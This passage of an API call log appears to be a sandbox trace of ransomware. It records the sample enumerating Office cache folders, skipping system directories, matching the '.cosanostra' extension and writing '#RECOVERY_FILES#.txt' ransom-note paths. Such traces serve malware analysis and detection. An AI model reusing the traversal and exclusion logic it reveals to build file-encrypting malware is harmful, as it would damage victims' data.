lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.211] lstrcmpW (lpString1="ExcelLR.cab", lpString2="_uninstalling_.png") returned 1 [0076.211] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 78 [0076.211] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.211] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="Windows") returned -1 [0076.211] lstrlenW (lpString="Windows") returned 7 [0076.211] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="Program Files") returned -1 [0076.211] lstrlenW (lpString="Program Files") returned 13 [0076.211] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="Program Files (x86)") returned -1 [0076.211] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.211] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="$Recycle.bin") returned 1 [0076.211] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.211] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="System Volume Information") returned -1 [0076.211] lstrlenW (lpString="System Volume Information") returned 25 [0076.211] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 79 [0076.211] StrStrIW (lpFirst="ExcelMUI.msi", lpSrch=".cosanostra") returned 0x0 [0076.211] lstrcmpW (lpString1="ExcelMUI.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.211] lstrcmpW (lpString1="ExcelMUI.msi", lpString2="_uninstalling_.png") returned 1 [0076.211] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 79 [0076.211] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.211] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="Windows") returned -1 [0076.211] lstrlenW (lpString="Windows") returned 7 [0076.211] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="Program Files") returned -1 [0076.211] lstrlenW (lpString="Program Files") returned 13 [0076.211] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="Program Files (x86)") returned -1 [0076.211] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.211] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="$Recycle.bin") returned 1 [0076.211] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.211] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="System Volume Information") returned -1 [0076.211] lstrlenW (lpString="System Volume Information") returned 25 [0076.212] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 79 [0076.212] StrStrIW (lpFirst="ExcelMUI.xml", lpSrch=".cosanostra") returned 0x0 [0076.212] lstrcmpW (lpString1="ExcelMUI.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.212] lstrcmpW (lpString1="ExcelMUI.xml", lpString2="_uninstalling_.png") returned 1 [0076.212] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 79 [0076.212] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.212] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1 [0076.212] lstrlenW (lpString="Windows") returned 7 [0076.212] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files") returned 1 [0076.212] lstrlenW (lpString="Program Files") returned 13 [0076.212] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files (x86)") returned 1 [0076.212] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.212] lstrcmpiW (lpString1="Setup.xml", lpString2="$Recycle.bin") returned 1 [0076.212] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.212] lstrcmpiW (lpString1="Setup.xml", lpString2="System Volume Information") returned -1 [0076.212] lstrlenW (lpString="System Volume Information") returned 25 [0076.212] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0076.212] StrStrIW (lpFirst="Setup.xml", lpSrch=".cosanostra") returned 0x0 [0076.212] lstrcmpW (lpString1="Setup.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.212] lstrcmpW (lpString1="Setup.xml", lpString2="_uninstalling_.png") returned 1 [0076.212] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0076.212] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0076.212] FindClose (in: hFindFile=0x24c310 | out: hFindFile=0x24c310) returned 1 [0076.212] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0076.212] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0076.212] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0076.212] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="Windows") returned -1 [0076.213] lstrlenW (lpString="Windows") returned 7 [0076.213] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="Program Files") returned -1 [0076.213] lstrlenW (lpString="Program Files") returned 13 [0076.213] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="Program Files (x86)") returned -1 [0076.213] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.213] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="$Recycle.bin") returned 1 [0076.213] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.213] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="System Volume Information") returned -1 [0076.213] lstrlenW (lpString="System Volume Information") returned 25 [0076.213] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C") returned 66 [0076.213] lstrcmpW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0076.213] lstrcmpW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0076.213] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*") returned 68 [0076.213] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x24c310 [0076.234] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0076.234] lstrlenW (lpString="Windows") returned 7 [0076.234] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0076.234] lstrlenW (lpString="Program Files") returned 13 [0076.234] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0076.234] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.234] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0076.234] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.234] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0076.234] lstrlenW (lpString="System Volume Information") returned 25 [0076.234] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\.") returned 68 [0076.234] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.234] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0076.234] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.234] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0076.234] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\.") returned 68 [0076.234] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.235] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0076.235] lstrlenW (lpString="Windows") returned 7 [0076.235] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0076.235] lstrlenW (lpString="Program Files") returned 13 [0076.235] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0076.235] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.235] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0076.235] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.235] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0076.235] lstrlenW (lpString="System Volume Information") returned 25 [0076.235] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\..") returned 69 [0076.235] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.235] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.235] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0076.235] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.235] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0076.235] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\..") returned 69 [0076.235] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.235] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="Windows") returned -1 [0076.235] lstrlenW (lpString="Windows") returned 7 [0076.235] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="Program Files") returned -1 [0076.235] lstrlenW (lpString="Program Files") returned 13 [0076.235] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="Program Files (x86)") returned -1 [0076.235] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.235] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="$Recycle.bin") returned 1 [0076.235] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.235] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="System Volume Information") returned -1 [0076.235] lstrlenW (lpString="System Volume Information") returned 25 [0076.235] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 84 [0076.235] StrStrIW (lpFirst="PowerPointMUI.msi", lpSrch=".cosanostra") returned 0x0 [0076.235] lstrcmpW (lpString1="PowerPointMUI.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.235] lstrcmpW (lpString1="PowerPointMUI.msi", lpString2="_uninstalling_.png") returned 1 [0076.235] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 84 [0076.236] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.236] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="Windows") returned -1 [0076.236] lstrlenW (lpString="Windows") returned 7 [0076.236] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="Program Files") returned -1 [0076.236] lstrlenW (lpString="Program Files") returned 13 [0076.236] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="Program Files (x86)") returned -1 [0076.236] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.236] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="$Recycle.bin") returned 1 [0076.236] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.236] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="System Volume Information") returned -1 [0076.236] lstrlenW (lpString="System Volume Information") returned 25 [0076.236] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 84 [0076.236] StrStrIW (lpFirst="PowerPointMUI.xml", lpSrch=".cosanostra") returned 0x0 [0076.236] lstrcmpW (lpString1="PowerPointMUI.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.236] lstrcmpW (lpString1="PowerPointMUI.xml", lpString2="_uninstalling_.png") returned 1 [0076.236] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 84 [0076.236] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.236] lstrcmpiW (lpString1="PptLR.cab", lpString2="Windows") returned -1 [0076.236] lstrlenW (lpString="Windows") returned 7 [0076.236] lstrcmpiW (lpString1="PptLR.cab", lpString2="Program Files") returned -1 [0076.236] lstrlenW (lpString="Program Files") returned 13 [0076.236] lstrcmpiW (lpString1="PptLR.cab", lpString2="Program Files (x86)") returned -1 [0076.236] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.236] lstrcmpiW (lpString1="PptLR.cab", lpString2="$Recycle.bin") returned 1 [0076.236] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.236] lstrcmpiW (lpString1="PptLR.cab", lpString2="System Volume Information") returned -1 [0076.236] lstrlenW (lpString="System Volume Information") returned 25 [0076.236] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 76 [0076.236] StrStrIW (lpFirst="PptLR.cab", lpSrch=".cosanostra") returned 0x0 [0076.237] lstrcmpW (lpString1="PptLR.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.237] lstrcmpW (lpString1="PptLR.cab", lpString2="_uninstalling_.png") returned 1 [0076.237] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 76 [0076.237] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.237] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1 [0076.237] lstrlenW (lpString="Windows") returned 7 [0076.237] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files") returned 1 [0076.237] lstrlenW (lpString="Program Files") returned 13 [0076.237] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files (x86)") returned 1 [0076.237] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.237] lstrcmpiW (lpString1="Setup.xml", lpString2="$Recycle.bin") returned 1 [0076.237] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.237] lstrcmpiW (lpString1="Setup.xml", lpString2="System Volume Information") returned -1 [0076.237] lstrlenW (lpString="System Volume Information") returned 25 [0076.237] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0076.237] StrStrIW (lpFirst="Setup.xml", lpSrch=".cosanostra") returned 0x0 [0076.237] lstrcmpW (lpString1="Setup.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.237] lstrcmpW (lpString1="Setup.xml", lpString2="_uninstalling_.png") returned 1 [0076.237] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0076.237] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0076.237] FindClose (in: hFindFile=0x24c310 | out: hFindFile=0x24c310) returned 1 [0076.238] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0076.238] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0076.238] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0076.238] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="Windows") returned -1 [0076.238] lstrlenW (lpString="Windows") returned 7 [0076.238] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="Program Files") returned -1 [0076.238] lstrlenW (lpString="Program Files") returned 13 [0076.238] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="Program Files (x86)") returned -1 [0076.238] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.238] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="$Recycle.bin") returned 1 [0076.238] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.238] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="System Volume Information") returned -1 [0076.238] lstrlenW (lpString="System Volume Information") returned 25 [0076.238] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C") returned 66 [0076.238] lstrcmpW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0076.238] lstrcmpW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0076.238] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*") returned 68 [0076.238] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x24c310 [0076.331] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0076.331] lstrlenW (lpString="Windows") returned 7 [0076.332] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0076.332] lstrlenW (lpString="Program Files") returned 13 [0076.332] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0076.332] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.332] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0076.332] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.332] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0076.332] lstrlenW (lpString="System Volume Information") returned 25 [0076.332] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\.") returned 68 [0076.332] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.332] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0076.332] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.332] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0076.332] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\.") returned 68 [0076.332] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.332] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0076.332] lstrlenW (lpString="Windows") returned 7 [0076.332] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0076.332] lstrlenW (lpString="Program Files") returned 13 [0076.332] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0076.332] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.332] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0076.332] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.332] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0076.332] lstrlenW (lpString="System Volume Information") returned 25 [0076.332] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\..") returned 69 [0076.332] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.332] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.332] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0076.332] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.332] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0076.332] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\..") returned 69 [0076.333] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.333] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="Windows") returned -1 [0076.333] lstrlenW (lpString="Windows") returned 7 [0076.333] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="Program Files") returned 1 [0076.333] lstrlenW (lpString="Program Files") returned 13 [0076.333] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="Program Files (x86)") returned 1 [0076.333] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.333] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="$Recycle.bin") returned 1 [0076.333] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.333] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="System Volume Information") returned -1 [0076.333] lstrlenW (lpString="System Volume Information") returned 25 [0076.333] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 83 [0076.333] StrStrIW (lpFirst="PublisherMUI.msi", lpSrch=".cosanostra") returned 0x0 [0076.333] lstrcmpW (lpString1="PublisherMUI.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.333] lstrcmpW (lpString1="PublisherMUI.msi", lpString2="_uninstalling_.png") returned 1 [0076.333] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 83 [0076.333] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.333] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="Windows") returned -1 [0076.333] lstrlenW (lpString="Windows") returned 7 [0076.333] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="Program Files") returned 1 [0076.333] lstrlenW (lpString="Program Files") returned 13 [0076.333] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="Program Files (x86)") returned 1 [0076.333] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.333] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="$Recycle.bin") returned 1 [0076.333] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.333] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="System Volume Information") returned -1 [0076.333] lstrlenW (lpString="System Volume Information") returned 25 [0076.333] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 83 [0076.333] StrStrIW (lpFirst="PublisherMUI.xml", lpSrch=".cosanostra") returned 0x0 [0076.333] lstrcmpW (lpString1="PublisherMUI.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.333] lstrcmpW (lpString1="PublisherMUI.xml", lpString2="_uninstalling_.png") returned 1 [0076.333] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 83 [0076.333] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.334] lstrcmpiW (lpString1="PubLR.cab", lpString2="Windows") returned -1 [0076.334] lstrlenW (lpString="Windows") returned 7 [0076.334] lstrcmpiW (lpString1="PubLR.cab", lpString2="Program Files") returned 1 [0076.334] lstrlenW (lpString="Program Files") returned 13 [0076.334] lstrcmpiW (lpString1="PubLR.cab", lpString2="Program Files (x86)") returned 1 [0076.334] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.334] lstrcmpiW (lpString1="PubLR.cab", lpString2="$Recycle.bin") returned 1 [0076.334] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.334] lstrcmpiW (lpString1="PubLR.cab", lpString2="System Volume Information") returned -1 [0076.334] lstrlenW (lpString="System Volume Information") returned 25 [0076.334] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 76 [0076.334] StrStrIW (lpFirst="PubLR.cab", lpSrch=".cosanostra") returned 0x0 [0076.334] lstrcmpW (lpString1="PubLR.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.334] lstrcmpW (lpString1="PubLR.cab", lpString2="_uninstalling_.png") returned 1 [0076.334] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 76 [0076.334] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.334] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1 [0076.334] lstrlenW (lpString="Windows") returned 7 [0076.334] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files") returned 1 [0076.334] lstrlenW (lpString="Program Files") returned 13 [0076.334] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files (x86)") returned 1 [0076.334] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.334] lstrcmpiW (lpString1="Setup.xml", lpString2="$Recycle.bin") returned 1 [0076.334] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.334] lstrcmpiW (lpString1="Setup.xml", lpString2="System Volume Information") returned -1 [0076.334] lstrlenW (lpString="System Volume Information") returned 25 [0076.334] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0076.334] StrStrIW (lpFirst="Setup.xml", lpSrch=".cosanostra") returned 0x0 [0076.334] lstrcmpW (lpString1="Setup.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.334] lstrcmpW (lpString1="Setup.xml", lpString2="_uninstalling_.png") returned 1 [0076.334] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0076.334] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0076.334] FindClose (in: hFindFile=0x24c310 | out: hFindFile=0x24c310) returned 1 [0076.335] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0076.335] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0076.335] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0076.335] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="Windows") 